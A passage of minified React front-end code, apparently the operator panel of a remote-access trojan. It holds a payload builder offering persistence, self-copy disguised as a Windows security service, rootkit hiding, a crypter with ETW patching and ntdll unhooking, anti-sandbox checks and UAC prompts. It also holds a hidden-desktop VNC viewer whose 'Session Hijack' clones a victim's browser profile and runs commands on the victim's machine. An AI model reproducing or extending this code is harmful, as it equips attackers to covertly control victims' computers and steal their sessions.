Agent",children:a.jsx("input",{type:"text",value:_,onChange:q=>O(q.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})}),a.jsx(gr,{label:"Auto-Persistence (installed on first run)",children:a.jsx("div",{className:"grid grid-cols-3 gap-2",children:vV.map(q=>{const ne=q.dllOnly&&V==="exe";return a.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors + ${ne?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[a.jsx("input",{type:"checkbox",checked:(M&q.flag)!==0,disabled:ne,onChange:ve=>{W(ve.target.checked?M|q.flag:M&~q.flag)},className:"accent-zerin-accent"}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:q.label}),q.admin&&a.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),ne&&a.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},q.flag)})})}),a.jsx(gr,{label:"Install Location (self-copy target)",children:a.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),a.jsxs("select",{value:ye,onChange:q=>G(parseInt(q.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200 cursor-pointer`,children:[a.jsx("option",{value:0,children:"%TEMP%"}),a.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),a.jsx("option",{value:2,children:"%APPDATA%"}),a.jsx("option",{value:3,children:"%PROGRAMDATA%"}),a.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),a.jsx("input",{type:"text",value:te,onChange:q=>C(q.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),a.jsx("input",{type:"text",value:Y,onChange:q=>re(q.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`})]})]})}),a.jsxs(gr,{label:"Evasion",children:[a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("input",{type:"checkbox",checked:$,onChange:q=>U(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:B,onChange:q=>K(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),a.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 + ${B?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[a.jsx("input",{type:"checkbox",checked:Z,disabled:!B,onChange:q=>le(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),a.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[a.jsx("input",{type:"checkbox",checked:de,onChange:q=>we(q.target.checked),className:"accent-zerin-accent"}),a.jsxs("div",{children:[a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),a.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),a.jsxs("div",{className:"flex items-center justify-between pt-2",children:[a.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[a.jsx("div",{onClick:()=>D(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer + ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:a.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 + ${P?"translate-x-4":"translate-x-0"}`})}),a.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),a.jsxs("div",{className:"flex gap-3",children:[a.jsx("button",{type:"button",onClick:()=>{s(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),a.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r + px-5 py-2 transition-all duration-150\r + disabled:opacity-50 disabled:cursor-not-allowed\r + flex items-center gap-2`,children:[g&&a.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&a.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[a.jsx("span",{children:(H2.filter(q=>q.at<=o).pop()??H2[0]).label}),a.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),a.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),a.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[a.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?a.jsx("div",{className:"flex items-center justify-center h-64",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&a.jsx("button",{onClick:()=>s(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),a.jsx("div",{children:e.map(q=>{let ne={};try{ne=JSON.parse(q.config_json)}catch{}return a.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[a.jsx("div",{children:a.jsx("span",{className:"text-sm font-medium text-zerin-text",children:q.name})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ne.sleep_interval??"—","s"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[ne.jitter_percent??"—","%"]})}),a.jsx("div",{children:a.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:q.agent_pubkey,children:[(q.agent_pubkey??"").slice(0,16),"..."]})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-dim",children:q.built_by})}),a.jsx("div",{children:a.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:Mo(q.built_at)})}),a.jsx("div",{className:"text-right",children:a.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:Tp(q.file_size)})}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>I(q),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),F===q.payload_id?a.jsxs("div",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>fe(q.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),a.jsx("button",{onClick:()=>se(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):a.jsx("button",{onClick:()=>se(q.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},q.payload_id)})})]}),a.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function gr({label:e,children:t}){return a.jsxs("div",{children:[a.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const yV=[{label:"Explorer",cmd:"explorer.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("circle",{cx:"12",cy:"12",r:"10"}),a.jsx("circle",{cx:"12",cy:"12",r:"4"}),a.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),a.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),a.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:a.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function bV(){const{id:e}=rl(),[t]=Sx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=m.useRef(null),s=m.useRef(null),o=m.useRef(null),l=m.useRef(null),c=m.useRef(null),u=m.useRef({x:-1,y:-1}),d=m.useRef(null),f=m.useRef(0),[p,h]=m.useState(!0),[x,g]=m.useState(!0),[y,v]=m.useState(!1),[b,w]=m.useState(60),[j,N]=m.useState(20),[k,z]=m.useState(0),[S,A]=m.useState({w:0,h:0}),[,_]=m.useState(""),[O,P]=m.useState(null),[D,V]=m.useState(!1),[R,M]=m.useState(!1),W=m.useRef(!1),[$,U]=m.useState({w:0,h:0});m.useEffect(()=>{const H=l.current;if(!H)return;const Q=new ResizeObserver(he=>{const E=he[0];E&&U({w:E.contentRect.width,h:E.contentRect.height})});return Q.observe(H),()=>Q.disconnect()},[]);const B=m.useMemo(()=>{if(S.w<=0||S.h<=0||$.w<=0||$.h<=0)return null;const H=Math.min($.w/S.w,$.h/S.h);return{width:Math.floor(S.w*H),height:Math.floor(S.h*H)}},[S,$]),K=m.useRef({x:0,y:0,w:0,h:0}),Z=m.useRef(null),le=m.useCallback((H,Q)=>{const he=s.current;if(!he)return;Z.current||(Z.current=he.getContext("2d"));const E=Z.current;if(!E)return;const ce=K.current;if(ce.w>0&&E.clearRect(ce.x,ce.y,ce.w,ce.h),H<0||Q<0){K.current={x:0,y:0,w:0,h:0};return}K.current={x:H-1,y:Q-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(H,Q),E.lineTo(H,Q+18),E.lineTo(H+5,Q+14),E.lineTo(H+9,Q+21),E.lineTo(H+12,Q+20),E.lineTo(H+8,Q+13),E.lineTo(H+13,Q+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),de=m.useCallback((H,Q)=>{const he=s.current;if(!he)return;const E=he.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(H,Q,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{le(u.current.x,u.current.y)},150))},[le]),we=m.useCallback((H,Q,he,E,ce)=>{W.current||(W.current=!0,M(!0)),A({w:Q,h:he});const ee=i.current;if(!ee)return;const xe=ee.getContext("2d");if(!xe)return;(ee.width!==Q||ee.height!==he)&&(ee.width=Q,ee.height=he);const Ne=s.current;if(Ne&&(Ne.width!==Q||Ne.height!==he)&&(Ne.width=Q,Ne.height=he,Z.current=null),typeof H=="string"){const ze=c.current||new Image;c.current=ze,ze.onload=()=>{xe.drawImage(ze,0,0)},ze.src=H}else H instanceof ImageBitmap?(xe.drawImage(H,0,0),H.close()):xe.drawImage(H,0,0)},[r]),ye=m.useCallback(()=>{},[]),{isConnected:G,stats:te,controls:C,connect:Y,disconnect:re}=Nv({agentId:e||"",mode:n,onFrame:we,onDisconnect:ye});m.useEffect(()=>{e&&Y()},[e,Y]);const F=m.useCallback(H=>{const Q=s.current,he=i.current;if(!Q||!he||S.w===0)return{x:0,y:0};const E=Q.getBoundingClientRect(),ce=he.width/E.width,ee=he.height/E.height;return{x:Math.min(Math.max(Math.round((H.clientX-E.left)*ce),0),he.width-1),y:Math.min(Math.max(Math.round((H.clientY-E.top)*ee),0),he.height-1)}},[S]),se=m.useCallback(H=>{if(!p||y)return;const{x:Q,y:he}=F(H);u.current={x:Q,y:he};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Q,he)),le(Q,he)},[p,y,F,C,le]),be=m.useCallback(H=>{if(!p||y)return;const{x:Q,y:he}=F(H);C.sendMouseButton(H.button,1,Q,he),de(Q,he)},[p,y,F,C,de]),ke=m.useCallback(H=>{if(!p||y)return;const{x:Q,y:he}=F(H);C.sendMouseButton(H.button,0,Q,he)},[p,y,F,C]),Ae=m.useCallback(H=>{if(!p||y)return;const{x:Q,y:he}=F(H),E=H.deltaY>0?-120:120;C.sendMouseScroll(E,Q,he)},[p,y,F,C]);m.useEffect(()=>{if(!x||y)return;const H=(E,ce)=>{E.preventDefault(),E.stopPropagation();const ee=E.keyCode||0;C.sendKey(ce,ee,0)},Q=E=>H(E,1),he=E=>H(E,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",he,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",he,!0)}},[x,y,C]),m.useEffect(()=>{C.setViewOnly(y)},[y,C]);const I=m.useCallback(H=>{w(H),C.setQuality(H)},[C]),fe=m.useCallback(async()=>{try{const H=await navigator.clipboard.readText();H&&C.sendClipboard(H)}catch{}},[C]),q=m.useCallback(()=>{var H,Q;(Q=(H=o.current)==null?void 0:H.requestFullscreen)==null||Q.call(H)},[]),ne=m.useCallback(async()=>{if(re(),e)try{r?await a_(e):await i_(e)}catch{}window.close()},[e,re,r]),ve=m.useCallback(async H=>{if(!(!e||!H.trim())){P(null);try{await s_(e,H.trim(),D),P(`Launched ${H.trim()}${D?" (hijack)":""}`),_(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,D]);return a.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[a.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[a.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.frameCount})," frames"]}),te.totalTiles>0&&a.jsxs(a.Fragment,{children:[a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsxs("span",{style:{color:"#52525B"},children:[a.jsx("span",{style:{color:"#0891B2"},children:te.dirtyTiles}),"/",te.totalTiles," tiles"]})]}),a.jsx("span",{style:{color:"#27272A"},children:"|"}),a.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),a.jsx("div",{className:"flex-1"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:p?"#06B6D4":"#27272A"},title:"Mouse"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),a.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&a.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),a.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[G&&a.jsxs("div",{className:"relative",style:{width:B?B.width:void 0,height:B?B.height:void 0,display:R?"block":"none"},children:[a.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),a.jsx("canvas",{ref:s,onMouseMove:se,onMouseDown:be,onMouseUp:ke,onWheel:Ae,onContextMenu:H=>H.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:p&&!y?"none":"default"}})]}),(!G||!R)&&a.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:a.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[a.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),a.jsxs("div",{className:"flex flex-col items-center gap-2",children:[a.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:G?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),a.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(H=>a.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${H*.3}s`}},H))})]})]})})]}),a.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[a.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),a.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:G?"#22C55E":"#EF4444",boxShadow:G?"0 0 6px rgba(34,197,94,0.5)":"none"}}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:G?"LIVE":"OFFLINE"})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:te.fps})]}),a.jsx(Xs,{}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),a.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:H=>I(Number(H.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),a.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[a.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),a.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:H=>{const Q=Number(H.target.value);N(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),a.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),a.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:a.jsxs("select",{value:k,onChange:H=>{const Q=Number(H.target.value);z(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[a.jsx("option",{value:0,children:"Auto"}),a.jsx("option",{value:1,children:"DXGI"}),a.jsx("option",{value:2,children:"GDI"})]})}),a.jsx(Xs,{}),a.jsx(Om,{label:"MOUSE",active:p,onClick:()=>h(!p),icon:a.jsx(wV,{})}),a.jsx(Om,{label:"KEYS",active:x,onClick:()=>g(!x),icon:a.jsx(jV,{})}),a.jsx(Om,{label:"VIEW",active:y,onClick:()=>v(!y),icon:a.jsx(NV,{})}),a.jsx(Xs,{}),a.jsx(K2,{onClick:fe,title:"Sync clipboard",children:a.jsx(kV,{})}),a.jsx(K2,{onClick:q,title:"Fullscreen",children:a.jsx(zV,{})}),r&&a.jsxs(a.Fragment,{children:[a.jsx(Xs,{}),a.jsxs("button",{onClick:()=>V(H=>!H),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:D?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:D?"#22D3EE":"#52525B",background:D?"rgba(6, 182, 212, 0.12)":"transparent",border:D?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),yV.map(H=>a.jsxs("button",{onClick:()=>ve(H.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${H.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[H.icon,a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:H.label})]},H.cmd)),a.jsxs("button",{onClick:()=>{const H=prompt("Command to launch on hidden desktop:");H&&ve(H)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:H=>{H.currentTarget.style.color="#A1A1AA",H.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:H=>{H.currentTarget.style.color="#52525B",H.currentTarget.style.background="transparent"},children:[a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),a.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:S.w>0?`${S.w}×${S.h}`:"—"}),a.jsxs("button",{onClick:ne,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 